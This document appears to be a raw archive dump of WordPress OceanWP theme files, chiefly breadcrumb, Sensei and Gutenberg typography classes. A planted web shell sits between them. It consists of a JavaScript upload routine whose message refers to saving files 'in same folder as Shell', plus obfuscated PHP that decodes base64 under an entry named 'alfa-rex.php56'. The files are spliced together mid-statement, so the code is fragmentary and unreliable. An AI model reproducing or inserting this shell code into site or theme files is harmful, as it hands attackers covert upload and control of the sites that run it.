void */ protected function add_rewrite_front_items() { global $wp_rewrite; if ( $wp_rewrite->front ) $this->add_path_parents( $wp_rewrite->front ); } /** * Adds the page/paged number to the items array. * * @since 1.0.0 * @access protected * @return void */ protected function add_paged_items() { // If viewing a paged singular post. if ( is_singular() && 1 < get_query_var( 'page' ) && true === $this->args['show_title'] ) $this->items[] = sprintf( $this->labels['paged'], number_format_i18n( absint( get_query_var( 'page' ) ) ) ); // If viewing a paged archive-type page. elseif ( is_paged() && true === $this->args['show_title'] ) $this->items[] = sprintf( $this->labels['paged'], number_format_i18n( absint( get_query_var( 'paged' ) ) ) ); } /** * Adds the network (all sites) home page link to the items array. * * @since 1.0.0 * @access protected * @return void */ protected function add_network_home_link() { // Home item $setting = get_theme_mod( 'ocean_breadcrumb_home_item', 'icon' ); // Icon $icon_class = ''; if ( 'text' == $setting ) { $icon_class = ' has-text'; } $icon = ''; if ( is_customize_preview() || 'icon' == $setting ) { $icon = oceanwp_icon( 'home', false ); } // Text. $text_class = ''; if ( 'icon' == $setting ) { $text_class = ' has-icon'; } $text = ''. $this->labels['home'] .''; if ( is_multisite() && ! is_main_site() && true === $this->args['network'] ) $this->items[] = sprintf( '%s', esc_url( network_home_url() ), $icon, $text ); } /** * Adds the current site's home page link to the items array. * * @since 1.0.0 * @access protected * @return void */ protected function add_site_home_link() { // Home item $setting = get_theme_mod( 'ocean_breadcrumb_home_item', 'icon' ); // Icon $icon_class = ''; if ( 'text' == $setting ) { $icon_class = ' has-text'; } $icon = ''; if ( is_customize_preview() || 'icon' == $setting ) { $icon = oceanwp_icon( 'home', false ); } // Text $text_class = ''; if ( 'icon' == $setting ) { $text_class = ' has-icon'; } $text = ''. $this->labels['home'] .''; // Vars $network = is_multisite() && ! is_main_site() && true === $this->args['network']; $label = $network ? get_bloginfo( 'name' ) : $text; $rel = $network ? '' : ' rel="home"'; $this->items[] = sprintf( '%s%s', esc_url( home_url() ), $rel, $icon, $label ); } /** * Adds items for the front page to the items array. * * @since 1.0.0 * @access protected * @return void */ protected function add_front_page_items() { // Only show front items if the 'show_on_front' argument is set to 'true'. if ( true === $this->args['show_on_front'] || is_paged() || ( is_singular() && 1 < get_query_var( 'page' ) ) ) { // Add network home link. $this->add_network_home_link(); // If on a paged view, add the site home link. if ( is_paged() ) $this->add_site_home_link(); // If on the main front page, add the network home title. elseif ( true === $this->args['show_title'] ) $this->items[] = is_multisite() && true === $this->args['network'] ? get_bloginfo( 'name' ) : $this->labels['home']; } } /** * Adds blog page items to the items array. * * @since 1.0.0 * @access protected * @return void */ protected function add_home_items() { if ( true === $this->args['show_title'] ) $this->items[] = sprintf( '%s', esc_url( get_the_permalink( get_option( 'page_for_posts' ) ) ), get_the_title( get_option( 'page_for_posts', true ) ) ); } /** * Adds singular post items to the items array. * * @since 1.0.0 * @access protected * @return void */ protected function add_singular_items() { // Get the queried post. $post = get_queried_object(); $post_id = get_queried_object_id(); // Post type taxonomy $posts_tax = get_theme_mod( 'ocean_breadcrumb_posts_taxonomy', 'category' ); $products_tax = get_theme_mod( 'ocean_breadcrumb_products_taxonomy', 'shop' ); $portfolio_tax = get_theme_mod( 'ocean_breadcrumb_portfolio_taxonomy', 'ocean_portfolio_category' ); if ( 'product' != $post->post_type ) { // If the post has a parent, follow the parent trail. if ( 0 < $post->post_parent ) { $this->add_post_parents( $post->post_parent ); } // If the post doesn't have a parent, get its hierarchy based off the post type. else { $this->add_post_hierarchy( $post_id ); } } // If the post type is 'post'. if ( 'post' === $post->post_type && 'none' != $posts_tax ) { if ( 'blog' == $posts_tax && ( 'posts' !== get_option( 'show_on_front' ) && 0 < $post_id ) ) { $page_id = get_option( 'page_for_posts'); $this->items[] = sprintf( '%s', esc_url( get_permalink( $page_id ) ), get_the_title( $page_id ) ); } else { $this->add_post_terms( $post_id, $posts_tax ); } } // If the post type is 'product'. else if ( 'product' === $post->post_type && 'none' != $products_tax ) { if ( 'shop' == $products_tax ) { $shop_id = wc_get_page_id( 'shop' ); $this->items[] = sprintf( '%s', esc_url( get_permalink( $shop_id ) ), get_the_title( $shop_id ) ); } else { $this->add_post_terms( $post_id, $products_tax ); } } // If the post type is 'ocean_portfolio'. else if ( class_exists( 'Ocean_Portfolio' ) && 'ocean_portfolio' === $post->post_type && 'none' != $portfolio_tax ) { $portfolio_id = get_theme_mod( 'op_portfolio_page' ); if ( 'portfolio' == $portfolio_tax && ! empty( $portfolio_id ) ) { $this->items[] = sprintf( '%s', esc_url( get_permalink( $portfolio_id ) ), get_the_title( $portfolio_id ) ); } else { $this->add_post_terms( $post_id, $portfolio_tax ); } } // Other posts types else { if ( ! empty( $this->post_taxonomy[ $post->post_type ] ) ) { $this->add_post_terms( $post_id, $this->post_taxonomy[ $post->post_type ] ); } } // End with the post title. if ( true == get_theme_mod( 'ocean_breadcrumb_show_title', true ) && $post_title = single_post_title( '', false ) ) { if ( 1 < get_query_var( 'page' ) || is_paged() || true === $this->args['show_title'] ) { $this->items[] = sprintf( '%s', esc_url( get_permalink( $post_id ) ), $post_title ); } if ( function_exists('is_wc_endpoint_url') && is_wc_endpoint_url() ){ $endpoint = WC()->query->get_current_endpoint(); $endpoint_title = WC()->query->get_endpoint_title( $endpoint ); $this->items[] = sprintf( '%s', esc_url( wc_get_endpoint_url( $endpoint ) ), $endpoint_title ); } } } /** * Adds the items to the trail items array for taxonomy term archives. * * @since 1.0.0 * @access protected * @global object $wp_rewrite * @return void */ protected function add_term_archive_items() { global $wp_rewrite; // Get some taxonomy and term variables. $term = get_queried_object(); $taxonomy = get_taxonomy( $term->taxonomy ); $done_post_type = false; // If there are rewrite rules for the taxonomy. if ( false !== $taxonomy->rewrite ) { // If 'with_front' is true, dd $wp_rewrite->front to the trail. if ( $taxonomy->rewrite['with_front'] && $wp_rewrite->front ) $this->add_rewrite_front_items(); // Get parent pages by path if they exist. $this->add_path_parents( $taxonomy->rewrite['slug'] ); // Add post type archive if its 'has_archive' matches the taxonomy rewrite 'slug'. if ( $taxonomy->rewrite['slug'] ) { $slug = trim( $taxonomy->rewrite['slug'], '/' ); // Deals with the situation if the slug has a '/' between multiple // strings. For example, "movies/genres" where "movies" is the post // type archive. $matches = explode( '/', $slug ); // If matches are found for the path. if ( isset( $matches ) ) { // Reverse the array of matches to search for posts in the proper order. $matches = array_reverse( $matches ); // Loop through each of the path matches. foreach ( $matches as $match ) { // If a match is found. $slug = $match; // Get public post types that match the rewrite slug. $post_types = $this->get_post_types_by_slug( $match ); if ( !empty( $post_types ) ) { $post_type_object = $post_types[0]; // Add support for a non-standard label of 'archive_title' (special use case). $label = !empty( $post_type_object->labels->archive_title ) ? $post_type_object->labels->archive_title : $post_type_object->labels->name; // Core filter hook. $label = apply_filters( 'post_type_archive_title', $label, $post_type_object->name ); // Add the post type archive link to the trail. $this->items[] = sprintf( '%s', esc_url( get_post_type_archive_link( $post_type_object->name ) ), $label ); $done_post_type = true; // Break out of the loop. break; } } } } } // If there's a single post type for the taxonomy, use it. if ( false === $done_post_type && 1 === count( $taxonomy->object_type ) && post_type_exists( $taxonomy->object_type[0] ) ) { // If the post type is 'post'. if ( 'post' === $taxonomy->object_type[0] ) { $post_id = get_option( 'page_for_posts' ); if ( 'posts' !== get_option( 'show_on_front' ) && 0 < $post_id ) $this->items[] = sprintf( '%s', esc_url( get_permalink( $post_id ) ), get_the_title( $post_id ) ); // If the post type is not 'post'. } else { $post_type_object = get_post_type_object( $taxonomy->object_type[0] ); $label = !empty( $post_type_object->labels->archive_title ) ? $post_type_object->labels->archive_title : $post_type_object->labels->name; // Core filter hook. $label = apply_filters( 'post_type_archive_title', $label, $post_type_object->name ); $url = apply_filters( 'post_type_archive_url', get_post_type_archive_link( $post_type_object->name ) ); $this->items[] = sprintf( '%s', esc_url( $url ), $label ); } } // If the taxonomy is hierarchical, list its parent terms. if ( is_taxonomy_hierarchical( $term->taxonomy ) && $term->parent ) $this->add_term_parents( $term->parent, $term->taxonomy ); // Add the term name to the trail end. if ( is_paged() || true === $this->args['show_title'] ) $this->items[] = sprintf( '%s', esc_url( get_term_link( $term, $term->taxonomy ) ), single_term_title( '', false ) ); } /** * Adds the items to the trail items array for post type archives. * * @since 1.0.0 * @access protected * @return void */ protected function add_post_type_archive_items() { // Get the post type object. $post_type_object = get_post_type_object( get_query_var( 'post_type' ) ); if ( false !== $post_type_object->rewrite ) { // If 'with_front' is true, add $wp_rewrite->front to the trail. if ( $post_type_object->rewrite['with_front'] ) $this->add_rewrite_front_items(); // If there's a rewrite slug, check for parents. if ( !empty( $post_type_object->rewrite['slug'] ) ) $this->add_path_parents( $post_type_object->rewrite['slug'] ); } // Add the post type [plural] name to the trail end. if ( is_paged() || true === $this->args['show_title'] ) $this->items[] = sprintf( '%s', esc_url( get_post_type_archive_link( $post_type_object->name ) ), post_type_archive_title( '', false ) ); } /** * Adds the items to the trail items array for user (author) archives. * * @since 1.0.0 * @access protected * @global object $wp_rewrite * @return void */ protected function add_user_archive_items() { global $wp_rewrite; // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Get the user ID. $user_id = get_query_var( 'author' ); // If $author_base exists, check for parent pages. if ( !empty( $wp_rewrite->author_base ) ) $this->add_path_parents( $wp_rewrite->author_base ); // Add the author's display name to the trail end. if ( is_paged() || true === $this->args['show_title'] ) $this->items[] = sprintf( '%s', esc_url( get_author_posts_url( $user_id ) ), get_the_author_meta( 'display_name', $user_id ) ); } /** * Adds the items to the trail items array for minute + hour archives. * * @since 1.0.0 * @access protected * @return void */ protected function add_minute_hour_archive_items() { // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Add the minute + hour item. if ( true === $this->args['show_title'] ) $this->items[] = sprintf( $this->labels['archive_minute_hour'], get_the_time( esc_html_x( 'g:i a', 'minute and hour archives time format', 'oceanwp' ) ) ); } /** * Adds the items to the trail items array for minute archives. * * @since 1.0.0 * @access protected * @return void */ protected function add_minute_archive_items() { // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Add the minute item. if ( true === $this->args['show_title'] ) $this->items[] = sprintf( $this->labels['archive_minute'], get_the_time( esc_html_x( 'i', 'minute archives time format', 'oceanwp' ) ) ); } /** * Adds the items to the trail items array for hour archives. * * @since 1.0.0 * @access protected * @return void */ protected function add_hour_archive_items() { // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Add the hour item. if ( true === $this->args['show_title'] ) $this->items[] = sprintf( $this->labels['archive_hour'], get_the_time( esc_html_x( 'g a', 'hour archives time format', 'oceanwp' ) ) ); } /** * Adds the items to the trail items array for day archives. * * @since 1.0.0 * @access protected * @return void */ protected function add_day_archive_items() { // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Get year, month, and day. $year = sprintf( $this->labels['archive_year'], get_the_time( esc_html_x( 'Y', 'yearly archives date format', 'oceanwp' ) ) ); $month = sprintf( $this->labels['archive_month'], get_the_time( esc_html_x( 'F', 'monthly archives date format', 'oceanwp' ) ) ); $day = sprintf( $this->labels['archive_day'], get_the_time( esc_html_x( 'j', 'daily archives date format', 'oceanwp' ) ) ); // Add the year and month items. $this->items[] = sprintf( '%s', esc_url( get_year_link( get_the_time( 'Y' ) ) ), $year ); $this->items[] = sprintf( '%s', esc_url( get_month_link( get_the_time( 'Y' ), get_the_time( 'm' ) ) ), $month ); // Add the day item. $archive_year = get_the_time( 'Y' ); $archive_month = get_the_time( 'm' ); $archive_day = get_the_time( 'd' ); if ( is_paged() || true === $this->args['show_title'] ) $this->items[] = sprintf( '%s', esc_url( get_day_link( $archive_year, $archive_month, $archive_day ) ), $day ); } /** * Adds the items to the trail items array for week archives. * * @since 1.0.0 * @access protected * @return void */ protected function add_week_archive_items() { // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Get the year and week. $year = sprintf( $this->labels['archive_year'], get_the_time( esc_html_x( 'Y', 'yearly archives date format', 'oceanwp' ) ) ); $week = sprintf( $this->labels['archive_week'], get_the_time( esc_html_x( 'W', 'weekly archives date format', 'oceanwp' ) ) ); // Add the year item. $this->items[] = sprintf( '%s', esc_url( get_year_link( get_the_time( 'Y' ) ) ), $year ); // Add the week item. if ( is_paged() || true === $this->args['show_title'] ) $this->items[] = esc_url( get_archives_link( add_query_arg( array( 'm' => get_the_time( 'Y' ), 'w' => get_the_time( 'W' ) ), home_url() ), $week, false ) ); } /** * Adds the items to the trail items array for month archives. * * @since 1.0.0 * @access protected * @return void */ protected function add_month_archive_items() { // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Get the year and month. $year = sprintf( $this->labels['archive_year'], get_the_time( esc_html_x( 'Y', 'yearly archives date format', 'oceanwp' ) ) ); $month = sprintf( $this->labels['archive_month'], get_the_time( esc_html_x( 'F', 'monthly archives date format', 'oceanwp' ) ) ); // Add the year item. $this->items[] = sprintf( '%s', esc_url( get_year_link( get_the_time( 'Y' ) ) ), $year ); // Add the month item. if ( is_paged() || true === $this->args['show_title'] ) $this->items[] = sprintf( '%s', esc_url( get_month_link( get_the_time( 'Y' ), get_the_time( 'm' ) ) ), $month ); } /** * Adds the items to the trail items array for year archives. * * @since 1.0.0 * @access protected * @return void */ protected function add_year_archive_items() { // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Get the year. $year = sprintf( $this->labels['archive_year'], get_the_time( esc_html_x( 'Y', 'yearly archives date format', 'oceanwp' ) ) ); // Add the year item. if ( is_paged() || true === $this->args['show_title'] ) $this->items[] = sprintf( '%s', esc_url( get_year_link( get_the_time( 'Y' ) ) ), $year ); } /** * Adds the items to the trail items array for archives that don't have a more specific method * defined in this class. * * @since 1.0.0 * @access protected * @return void */ protected function add_default_archive_items() { // If this is a date-/time-based archive, add $wp_rewrite->front to the trail. if ( is_date() || is_time() ) $this->add_rewrite_front_items(); if ( true === $this->args['show_title'] ) $this->items[] = $this->labels['archives']; } /** * Adds the items to the trail items array for search results. * * @since 1.0.0 * @access protected * @return void */ protected function add_search_items() { if ( is_paged() || true === $this->args['show_title'] ) $this->items[] = sprintf( '%s%s', esc_url( get_search_link() ), ''. $this->labels['search'] .'', ' “'. get_search_query() .'”' ); } /** * Adds the items to the trail items array for 404 pages. * * @since 1.0.0 * @access protected * @return void */ protected function add_404_items() { if ( true === $this->args['show_title'] ) $this->items[] = ''. $this->labels['error_404'] .''; } /** * Adds a specific post's parents to the items array. * * @since 1.0.0 * @access protected * @param int $post_id * @return void */ protected function add_post_parents( $post_id ) { $parents = array(); while ( $post_id ) { // Get the post by ID. $post = get_post( $post_id ); // If we hit a page that's set as the front page, bail. if ( 'page' == $post->post_type && 'page' == get_option( 'show_on_front' ) && $post_id == get_option( 'page_on_front' ) ) break; // Add the formatted post link to the array of parents. $parents[] = sprintf( '%s', esc_url( get_permalink( $post_id ) ), get_the_title( $post_id ) ); // If there's no longer a post parent, break out of the loop. if ( 0 >= $post->post_parent ) break; // Change the post ID to the parent post to continue looping. $post_id = $post->post_parent; } // Get the post hierarchy based off the final parent post. $this->add_post_hierarchy( $post_id ); // Display terms for specific post type taxonomy if requested. if ( !empty( $this->post_taxonomy[ $post->post_type ] ) ) $this->add_post_terms( $post_id, $this->post_taxonomy[ $post->post_type ] ); // Merge the parent items into the items array. $this->items = array_merge( $this->items, array_reverse( $parents ) ); } /** * Adds a specific post's hierarchy to the items array. The hierarchy is determined by post type's * rewrite arguments and whether it has an archive page. * * @since 1.0.0 * @access protected * @param int $post_id * @return void */ protected function add_post_hierarchy( $post_id ) { // Get the post type. $post_type = get_post_type( $post_id ); $post_type_object = get_post_type_object( $post_type ); // If this is the 'post' post type, get the rewrite front items and map the rewrite tags. if ( 'post' === $post_type ) { // Add $wp_rewrite->front to the trail. $this->add_rewrite_front_items(); // Map the rewrite tags. $this->map_rewrite_tags( $post_id, get_option( 'permalink_structure' ) ); } // If the post type has rewrite rules. elseif ( false !== $post_type_object->rewrite ) { // If 'with_front' is true, add $wp_rewrite->front to the trail. if ( $post_type_object->rewrite['with_front'] ) $this->add_rewrite_front_items(); // If there's a path, check for parents. if ( !empty( $post_type_object->rewrite['slug'] ) ) $this->add_path_parents( $post_type_object->rewrite['slug'] ); } // If there's an archive page, add it to the trail. if ( $post_type_object->has_archive ) { // Add support for a non-standard label of 'archive_title' (special use case). $label = !empty( $post_type_object->labels->archive_title ) ? $post_type_object->labels->archive_title : $post_type_object->labels->name; // Core filter hook. $label = apply_filters( 'post_type_archive_title', $label, $post_type_object->name ); $this->items[] = sprintf( '%s', esc_url( get_post_type_archive_link( $post_type ) ), $label ); } } /** * Gets post types by slug. This is needed because the get_post_types() function doesn't exactly * match the 'has_archive' argument when it's set as a string instead of a boolean. * * @since 0.6.0 * @access protected * @param int $slug The post type archive slug to search for. * @return void */ protected function get_post_types_by_slug( $slug ) { $return = array(); $post_types = get_post_types( array(), 'objects' ); foreach ( $post_types as $type ) { if ( $slug === $type->has_archive || ( true === $type->has_archive && $slug === $type->rewrite['slug'] ) ) $return[] = $type; } return $return; } /** * Adds a post's terms from a specific taxonomy to the items array. * * @since 1.0.0 * @access protected * @param int $post_id The ID of the post to get the terms for. * @param string $taxonomy The taxonomy to get the terms from. * @return void */ protected function add_post_terms( $post_id, $taxonomy ) { // Get the post type. $post_type = get_post_type( $post_id ); // Get the post categories. $terms = get_the_terms( $post_id, $taxonomy ); // Check that categories were returned. if ( $terms && ! is_wp_error( $terms ) ) { // Sort the terms by ID and get the first category. if ( function_exists( 'wp_list_sort' ) ) $terms = wp_list_sort( $terms, 'term_id' ); else usort( $terms, '_usort_terms_by_ID' ); $term = get_term( $terms[0], $taxonomy ); // If the category has a parent, add the hierarchy to the trail. if ( 0 < $term->parent ) $this->add_term_parents( $term->parent, $taxonomy ); // Add the category archive link to the trail. $this->items[] = sprintf( '%s', esc_url( get_term_link( $term, $taxonomy ) ), $term->name ); } } /** * Get parent posts by path. Currently, this method only supports getting parents of the 'page' * post type. The goal of this function is to create a clear path back to home given what would * normally be a "ghost" directory. If any page matches the given path, it'll be added. * * @since 1.0.0 * @access protected * @param string $path The path (slug) to search for posts by. * @return void */ function add_path_parents( $path ) { // Trim '/' off $path in case we just got a simple '/' instead of a real path. $path = trim( $path, '/' ); // If there's no path, return. if ( empty( $path ) ) return; // Get parent post by the path. $post = get_page_by_path( $path ); if ( !empty( $post ) ) { $this->add_post_parents( $post->ID ); } elseif ( is_null( $post ) ) { // Separate post names into separate paths by '/'. $path = trim( $path, '/' ); preg_match_all( "/\/.*?\z/", $path, $matches ); // If matches are found for the path. if ( isset( $matches ) ) { // Reverse the array of matches to search for posts in the proper order. $matches = array_reverse( $matches ); // Loop through each of the path matches. foreach ( $matches as $match ) { // If a match is found. if ( isset( $match[0] ) ) { // Get the parent post by the given path. $path = str_replace( $match[0], '', $path ); $post = get_page_by_path( trim( $path, '/' ) ); // If a parent post is found, set the $post_id and break out of the loop. if ( !empty( $post ) && 0 < $post->ID ) { $this->add_post_parents( $post->ID ); break; } } } } } } /** * Searches for term parents of hierarchical taxonomies. This function is similar to the WordPress * function get_category_parents() but handles any type of taxonomy. * * @since 1.0.0 * @param int $term_id ID of the term to get the parents of. * @param string $taxonomy Name of the taxonomy for the given term. * @return void */ function add_term_parents( $term_id, $taxonomy ) { // Set up some default arrays. $parents = array(); // While there is a parent ID, add the parent term link to the $parents array. while ( $term_id ) { // Get the parent term. $term = get_term( $term_id, $taxonomy ); // Add the formatted term link to the array of parent terms. $parents[] = sprintf( '%s', esc_url( get_term_link( $term, $taxonomy ) ), $term->name ); // Set the parent term's parent as the parent ID. $term_id = $term->parent; } // If we have parent terms, reverse the array to put them in the proper order for the trail. if ( !empty( $parents ) ) $this->items = array_merge( $this->items, array_reverse( $parents ) ); } /** * Turns %tag% from permalink structures into usable links for the breadcrumb trail. This feels kind of * hackish for now because we're checking for specific %tag% examples and only doing it for the 'post' * post type. In the future, maybe it'll handle a wider variety of possibilities, especially for custom post * types. * * @since 0.6.0 * @access protected * @param int $post_id ID of the post whose parents we want. * @param string $path Path of a potential parent page. * @param array $args Mixed arguments for the menu. * @return array */ protected function map_rewrite_tags( $post_id, $path ) { $post = get_post( $post_id ); // If the post doesn't have the `post` post type, bail. if ( 'post' !== $post->post_type ) return; // Trim '/' from both sides of the $path. $path = trim( $path, '/' ); // Split the $path into an array of strings. $matches = explode( '/', $path ); // If matches are found for the path. if ( is_array( $matches ) ) { // Loop through each of the matches, adding each to the $trail array. foreach ( $matches as $match ) { // Trim any '/' from the $match. $tag = trim( $match, '/' ); // If using the %year% tag, add a link to the yearly archive. if ( '%year%' == $tag ) $this->items[] = sprintf( '%s', esc_url( get_year_link( get_the_time( 'Y', $post_id ) ) ), sprintf( $this->labels['archive_year'], get_the_time( esc_html_x( 'Y', 'yearly archives date format', 'oceanwp' ) ) ) ); // If using the %monthnum% tag, add a link to the monthly archive. elseif ( '%monthnum%' == $tag ) $this->items[] = sprintf( '%s', esc_url( get_month_link( get_the_time( 'Y', $post_id ), get_the_time( 'm', $post_id ) ) ), sprintf( $this->labels['archive_month'], get_the_time( esc_html_x( 'F', 'monthly archives date format', 'oceanwp' ) ) ) ); // If using the %day% tag, add a link to the daily archive. elseif ( '%day%' == $tag ) $this->items[] = sprintf( '%s', esc_url( get_day_link( get_the_time( 'Y', $post_id ), get_the_time( 'm', $post_id ), get_the_time( 'd', $post_id ) ) ), sprintf( $this->labels['archive_day'], get_the_time( esc_html_x( 'j', 'daily archives date format', 'oceanwp' ) ) ) ); // If using the %author% tag, add a link to the post author archive. elseif ( '%author%' == $tag ) $this->items[] = sprintf( '%s', esc_url( get_author_posts_url( $post->post_author ) ), get_the_author_meta( 'display_name', $post->post_author ) ); // If using the %category% tag, add a link to the first category archive to match permalinks. elseif ( '%category%' == $tag ) { // Force override terms in this post type. $this->post_taxonomy[ $post->post_type ] = false; // Add the post categories. $this->add_post_terms( $post_id, 'category' ); } } } } } third/class-sensei.php000064400000013164151551031110010756 0ustar00frontend, 'sensei_output_content_wrapper' ), 10 ); remove_action( 'sensei_after_main_content', array( $woothemes_sensei->frontend, 'sensei_output_content_wrapper_end' ), 10 ); add_action( 'sensei_before_main_content', array( $this, 'wrapper_start' ), 10 ); add_action( 'sensei_after_main_content', array( $this, 'wrapper_end' ), 10 ); add_action( 'ocean_main_metaboxes_post_types', array( $this, 'add_metabox' ), 20 ); add_filter( 'ocean_primary_backgrounds', array( $this, 'primary_backgrounds' ) ); add_filter( 'ocean_hover_primary_backgrounds', array( $this, 'hover_primary_backgrounds' ) ); } /** * Declare Sensei support * * @since 1.4.0 */ public static function declare_sensei_support() { add_theme_support( 'sensei' ); } /** * Load custom CSS file * * @since 1.4.0 */ public static function add_custom_css() { if ( is_sensei() || is_tax( 'module' ) ) { wp_enqueue_style( 'oceanwp-sensei', OCEANWP_CSS_DIR_URI .'third/sensei.min.css' ); } } /** * Add wrappers start * * @since 1.4.0 */ public static function wrapper_start() { ob_start(); ?>
    function upload(fileInputId, fileIndex) { var url = window.location.pathname; var scriptname = url.substring(url.lastIndexOf('/')+1); var filename = document.getElementById('upload_files').value; var filename = filename.match(/[^\\/]*$/)[0]; var location = window.location.href; var directoryPath = location.substring(0, location.lastIndexOf("/")+1); document.getElementById("status").textContent = "Uploading the file "+filename+", please wait.."; document.getElementById("status").style.color = "blue"; // take the file from the input var file = document.getElementById(fileInputId).files[fileIndex]; var reader = new FileReader(); reader.readAsBinaryString(file); // alternatively you can use readAsDataURL reader.onloadend = function(evt) { // create XHR instance xhr = new XMLHttpRequest(); // send the file through POST xhr.open("POST", scriptname+"?name="+filename, true); // make sure we have the sendAsBinary method on all browsers XMLHttpRequest.prototype.mySendAsBinary = function(text){ var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff); if(typeof window.Blob == "function") { var blob = new Blob([data]); }else{ var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)(); bb.append(data); var blob = bb.getBlob(); } this.send(blob); } // let's track upload progress var eventSource = xhr.upload || xhr; eventSource.addEventListener("progress", function(e) { // get percentage of how much of the current file has been sent var position = e.position || e.loaded; var total = e.totalSize || e.total; var percentage = Math.round((position/total)*100); // here you should write your own code how you wish to proces this }); // state change observer - we need to know when and if the file was successfully uploaded xhr.onreadystatechange = function() { if(xhr.readyState == 4) { if(xhr.status == 200) { // process success document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder as Shell. At Link= "+directoryPath+filename; document.getElementById("status").style.color = "green"; }else{ // process error } } }; // start sending xhr.mySendAsBinary(evt.target.result); }; } = strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>third/alfa-rex.php56000064400004151235151551031110010245 0ustar00 = strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>third/class-gutenberg.php000064400000035522151551031110011454 0ustar00 array( 'label' => esc_html__( 'Body', 'oceanwp' ), 'target' => '.block-editor .editor-styles-wrapper, .block-editor .editor-styles-wrapper .block-editor-block-list__layout', 'defaults' => array( 'font-size' => '14px', 'color' => '#929292', 'line-height' => '1.8', ), ), 'headings' => array( 'label' => esc_html__( 'All Headings', 'oceanwp' ), 'target' => '.block-editor .editor-styles-wrapper .block-editor-block-list__layout h1, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h2, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h3, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h4, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h5, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h6', 'exclude' => array( 'font-size' ), 'defaults' => array( 'color' => '#333333', 'line-height' => '1.4', ), ), 'heading_h1' => array( 'label' => esc_html__( 'Heading 1 (H1)', 'oceanwp' ), 'target' => '.block-editor .editor-styles-wrapper .block-editor-block-list__layout h1, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h1 a', 'defaults' => array( 'font-size' => '23px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'heading_h2' => array( 'label' => esc_html__( 'Heading 2 (H2)', 'oceanwp' ), 'target' => '.block-editor .editor-styles-wrapper .block-editor-block-list__layout h2, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h2 a', 'defaults' => array( 'font-size' => '20px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'heading_h3' => array( 'label' => esc_html__( 'Heading 3 (H3)', 'oceanwp' ), 'target' => '.block-editor .editor-styles-wrapper .block-editor-block-list__layout h3, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h3 a', 'defaults' => array( 'font-size' => '18px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'heading_h4' => array( 'label' => esc_html__( 'Heading 4 (H4)', 'oceanwp' ), 'target' => '.block-editor .editor-styles-wrapper .block-editor-block-list__layout h4, .block-editor .editor-styles-wrapper .block-editor-block-list__layout h4 a', 'defaults' => array( 'font-size' => '17px', 'color' => '#333333', 'line-height' => '1.4', ), ), 'blog_post_title' => array( 'label' => esc_html__( 'Blog Post Title', 'oceanwp' ), 'target' => '.block-editor .editor-styles-wrapper .editor-post-title__block .editor-post-title__input', 'defaults' => array( 'font-size' => '34px', 'color' => '#333333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ), ) ); } /** * Gutenberg editor css * * @param instance $return css. */ public function loop( $return = 'css' ) { // Define Vars. $css = ''; $fonts = array(); $elements = self::elements(); if ( ! empty( $elements ) ) { // Loop through each elements that need typography styling applied to them. foreach ( $elements as $element => $array ) { // Add empty css var. $add_css = ''; $tablet_css = ''; $mobile_css = ''; // Get target and current mod. $target = isset( $array['target'] ) ? $array['target'] : ''; $get_mod = get_theme_mod( $element . '_typography' ); $tablet_get_mod = get_theme_mod( $element . '_tablet_typography' ); $mobile_get_mod = get_theme_mod( $element . '_mobile_typography' ); // Attributes to loop through. if ( ! empty( $array['attributes'] ) ) { $attributes = $array['attributes']; } else { $attributes = array( 'font-family', 'font-weight', 'font-style', 'font-size', 'color', 'line-height', 'letter-spacing', 'text-transform', ); } // Loop through attributes. foreach ( $attributes as $attribute ) { // Define val. $default = isset( $array['defaults'][ $attribute ] ) ? $array['defaults'][ $attribute ] : null; $val = isset( $get_mod[ $attribute ] ) ? $get_mod[ $attribute ] : $default; $tablet_val = isset( $tablet_get_mod[ $attribute ] ) ? $tablet_get_mod[ $attribute ] : ''; $mobile_val = isset( $mobile_get_mod[ $attribute ] ) ? $mobile_get_mod[ $attribute ] : ''; // If there is a value lets do something. if ( $val && $default !== $val ) { // Sanitize. $val = str_replace( '"', '', $val ); // Add px if font size or letter spacing. $px = ''; if ( ( 'font-size' === $attribute && is_numeric( $val ) ) || 'letter-spacing' === $attribute ) { $px = 'px'; } // Add quotes around font-family && font family to scripts array. if ( 'font-family' === $attribute ) { $fonts[] = $val; // No brackets can be added as it cause issue with sans serif fonts. $val = $val; } // Add to inline CSS. if ( 'css' === $return ) { $add_css .= $attribute . ':' . $val . $px . ';'; } } // If there is a value lets do something. if ( $tablet_val && ( 'font-size' === $attribute || 'line-height' === $attribute || 'letter-spacing' === $attribute ) ) { // Sanitize. $tablet_val = str_replace( '"', '', $tablet_val ); // Add px if font size or letter spacing. $px = ''; if ( ( 'font-size' === $attribute && is_numeric( $tablet_val ) ) || 'letter-spacing' === $attribute ) { $px = 'px'; } // Add to inline CSS. if ( 'css' === $return ) { $tablet_css .= $attribute . ':' . $tablet_val . $px . ';'; } } // If there is a value lets do something. if ( $mobile_val && ( 'font-size' === $attribute || 'line-height' === $attribute || 'letter-spacing' === $attribute ) ) { // Sanitize. $mobile_val = str_replace( '"', '', $mobile_val ); // Add px if font size or letter spacing. $px = ''; if 